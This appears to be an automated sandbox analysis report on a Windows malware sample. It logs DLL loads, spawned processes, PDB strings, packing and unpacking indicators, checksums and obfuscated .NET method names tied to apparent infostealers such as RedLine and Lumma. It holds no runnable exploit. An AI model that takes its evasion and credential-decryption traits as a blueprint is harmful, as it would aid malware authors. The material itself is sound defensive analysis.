Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: unknown

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: DPqKF5vqpe.exe

Static file information: File size 1930752 > 1048576

Source: DPqKF5vqpe.exe

Static PE information: Raw size of ysbzieoj is bigger than: 0x100000 < 0x1a5e00

Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: stub.exe, 0000000F.00000002.2537649243.00007FFEEE27C000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\un63jb3x\output.pdb( source: gold.exe, 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: stub.exe, 0000000F.00000002.2537649243.00007FFEEE27C000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\runneradmin\AppData\Local\Temp\pip-req-build-mijilod8\src\rust\target\release\deps\cryptography_rust.pdbo source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2517206515.00007FFEDCFDC000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDabX9_62_CURVEfieldIDcurvebaseordercofactorECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeyossl_ec_group_new_excrypto\ec\ec_lib.cEC_GROUP_copyEC_GROUP_set_generatorEC_GROUP_set_curveEC_GROUP_get_curveEC_GROUP_get_degreeEC_GROUP_check_discriminantEC_POINT_newEC_POINT_copyEC_POINT_set_to_infinityEC_POINT_set_Jprojective_coordinates_GFpEC_POINT_set_affine_coordinatesEC_POINT_get_affine_coordinatesEC_POINT_addEC_POINT_dblEC_POINT_invertEC_POINT_is_at_infinityEC_POINT_is_on_curveEC_POINT_cmpEC_POINT_mulEC_GROUP_get_trinomial_basisEC_GROUP_get_pentanomial_basisgroup_new_from_nameossl_ec_group_set_paramsencodingdecoded-from-explicitEC_GROUP_new_from_paramsgeneratorcompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.2.1built on: Fri May 3 00:14:50 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2536403239.00007FFEEE0C5000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2536403239.00007FFEEE0C5000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: C:\Users\runneradmin\AppData\Local\Temp\pip-req-build-mijilod8\src\rust\target\release\deps\cryptography_rust.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\un63jb3x\output.pdb source: gold.exe, 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: stub.exe, 0000000F.00000002.2536788711.00007FFEEE10D000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: judit.exe, 0000000C.00000003.1950589359.000001DD970CA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2519060955.00007FFEDD23F000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python3.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2540122250.00007FFEF3F61000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: stub.exe, 0000000F.00000002.2539535061.00007FFEF3F40000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD9714D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: judit.exe, 0000000C.00000003.1950589359.000001DD970CA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2519060955.00007FFEDD23F000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Unpacked PE file: 0.2.DPqKF5vqpe.exe.2a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ysbzieoj:EW;zxuwvjyo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ysbzieoj:EW;zxuwvjyo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Unpacked PE file: 2.2.axplong.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ysbzieoj:EW;zxuwvjyo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ysbzieoj:EW;zxuwvjyo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Unpacked PE file: 3.2.axplong.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ysbzieoj:EW;zxuwvjyo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ysbzieoj:EW;zxuwvjyo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Unpacked PE file: 6.2.axplong.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ysbzieoj:EW;zxuwvjyo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ysbzieoj:EW;zxuwvjyo:EW;.taggant:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: 24.2.upd.exe.f32a9b.4.raw.unpack, A2H1lUZ15GsIooGy4G.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),AWUsPsaCrila345eBdm(typeof(Type).TypeHandle)})

Source: redline123123[1].exe.2.dr

Static PE information: 0x92791CBC [Fri Nov 15 06:05:48 2047 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_7074546

Source: lumma123[1].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x7e173
Source: gold.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1391dc
Source: _rust.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x6e9ee9
Source: gold[1].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1391dc
Source: _websocket.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x5b50
Source: lrthijawd.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0xe7b7a
Source: upd.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1c0426
Source: _helpers.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x15ce7
Source: redline123123[1].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x4b053
Source: _multidict.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x14a23
Source: lumma123.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x7e173
Source: _frozenlist.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x1a2df
Source: _http_writer.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0xf5e4
Source: _quoting_c.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x22c33
Source: _cffi_backend.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x36676
Source: _http_parser.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x45a35
Source: md__mypyc.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x2bdb3
Source: upd[1].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1c0426
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1e3b93 should be: 0x1e5d90
Source: lrthijawd[1].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0xe7b7a
Source: redline123123.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x4b053
Source: md.pyd.12.dr	Static PE information: real checksum: 0x0 should be: 0x12854
Source: DPqKF5vqpe.exe	Static PE information: real checksum: 0x1e3b93 should be: 0x1e5d90

Source: DPqKF5vqpe.exe	Static PE information: section name:
Source: DPqKF5vqpe.exe	Static PE information: section name: .idata
Source: DPqKF5vqpe.exe	Static PE information: section name:
Source: DPqKF5vqpe.exe	Static PE information: section name: ysbzieoj
Source: DPqKF5vqpe.exe	Static PE information: section name: zxuwvjyo
Source: DPqKF5vqpe.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: ysbzieoj
Source: axplong.exe.0.dr	Static PE information: section name: zxuwvjyo
Source: axplong.exe.0.dr	Static PE information: section name: .taggant
Source: gold.exe.2.dr	Static PE information: section name: .00cfg
Source: judit[1].exe.2.dr	Static PE information: section name: .eh_fram
Source: judit[1].exe.2.dr	Static PE information: section name: .xdata
Source: judit.exe.2.dr	Static PE information: section name: .eh_fram
Source: judit.exe.2.dr	Static PE information: section name: .xdata
Source: gold[1].exe.2.dr	Static PE information: section name: .00cfg
Source: lrthijawd[1].exe.2.dr	Static PE information: section name: .didat
Source: lrthijawd[1].exe.2.dr	Static PE information: section name: _RDATA
Source: lrthijawd.exe.2.dr	Static PE information: section name: .didat
Source: lrthijawd.exe.2.dr	Static PE information: section name: _RDATA
Source: services64[1].exe.2.dr	Static PE information: section name: .00cfg
Source: services64[1].exe.2.dr	Static PE information: section name: .\|Q+
Source: services64[1].exe.2.dr	Static PE information: section name: .=S+
Source: services64[1].exe.2.dr	Static PE information: section name: .g<7
Source: services64.exe.2.dr	Static PE information: section name: .00cfg
Source: services64.exe.2.dr	Static PE information: section name: .\|Q+
Source: services64.exe.2.dr	Static PE information: section name: .=S+
Source: services64.exe.2.dr	Static PE information: section name: .g<7
Source: stub.exe.12.dr	Static PE information: section name: .eh_fram
Source: stub.exe.12.dr	Static PE information: section name: .xdata
Source: libcrypto-1_1.dll.12.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.12.dr	Static PE information: section name: .00cfg
Source: python310.dll.12.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.12.dr	Static PE information: section name: _RDATA
Source: Monster.exe.15.dr	Static PE information: section name: .eh_fram
Source: Monster.exe.15.dr	Static PE information: section name: .xdata

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008AD82C push ecx; ret	2_2_008AD83F
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_00842293 push ecx; ret	7_2_00886973
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00433113 push edi; ret	9_2_00433117
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043E488 push ebx; ret	9_2_0043E524
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043E514 push ebx; ret	9_2_0043E524
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043EB40 push es; ret	9_2_0043EB43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00440DAF push ecx; iretd	9_2_00440DB6
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940AACDD push rcx; retf 003Fh	12_2_000001DD940AACDE
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940DC6DD push rcx; retf 003Fh	12_2_000001DD940DC6DE

Source: DPqKF5vqpe.exe	Static PE information: section name: entropy: 7.983903616800653
Source: DPqKF5vqpe.exe	Static PE information: section name: ysbzieoj entropy: 7.9542981534066115
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.983903616800653
Source: axplong.exe.0.dr	Static PE information: section name: ysbzieoj entropy: 7.9542981534066115

Source: 24.2.upd.exe.f32a9b.4.raw.unpack, Form1.cs	High entropy of concatenated method names: '_003CReadLine_003Eb__2_0', 'tYnbsyjctK6L1RGuYpn', 'foVgeSjqRSYECNcE421', 'wCpfMLj4is13Im71H9H', 'Form1_Load', 'ReadLine', 'Dispose', 'InitializeComponent', 'HMpxTXxXF1i7Q0EB1g4', 'CAC0dCxUS80TsbN4qrg'
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, Strings.cs	High entropy of concatenated method names: 'Init', 'Decrypt', 'Get', 'pgXZajBXxAteiwrUy8X', 'TQxWqfBHLxDcL2d8MZM', 'qEkFI3BP8kBRAFV2y3o', 'sSKDGyBUUfTFx2IpnAf', 'SM87Q1BegDdhoZJR0tr', 'i5H4iWBnFYNm3Zi8t3e', 'he19WoBJ8LYXiwjtp2E'
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, WinApiFile.cs	High entropy of concatenated method names: 'Open', 'Open', 'Open', 'Close', 'MoveFilePointer', 'MoveFilePointer', 'Read', 'Dispose', 'Dispose', 'ThrowLastWin32Err'
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, FieldRootRoot.cs	High entropy of concatenated method names: 'Field1', 'sYrwQy7rMSn18j8DXep', 'F4Juqm7SEO5hPQGl0wh', 'i3gySp7EhJnxQQD4nvC', 'S1KvVG7mQr2NX5ZrBHT', 'BlMrWN7RP73kPCvPu2v', 'pWkZsp79FEthLKMc7sJ'
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, BerkeleyDB.cs	High entropy of concatenated method names: 'Extract', 'XoEPL5WYeqbN26xNeV0', 'zPM5nNWNOl27rGvFry6', 'FZcHdMWhnCftWeeGhog', 'htwpRXW2csY00JYKZ6V', 'ajGhXjWpE0TKjHV6Tnr', 'q9XTTxxziyhwuuY1M31', 'suRgU8W1suNEvDwNyf5'
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, TripleDes.cs	High entropy of concatenated method names: 'ComputeVoid', 'Compute', 'DecryptStringDesCbc', 'DecryptByteDesCbc', 'pu9gP2BtkPbgS1wCIyH', 'P7f2MJB6DimQ6g94ZJF', 'Qtt8qrB7YvaeZgKFfSI', 'rSHMSnBxDsXNOZJBV5w', 'OjnD9VBWQjYyJQxJmHm', 'ReIR4QBBhIDrjoXw5Gi'
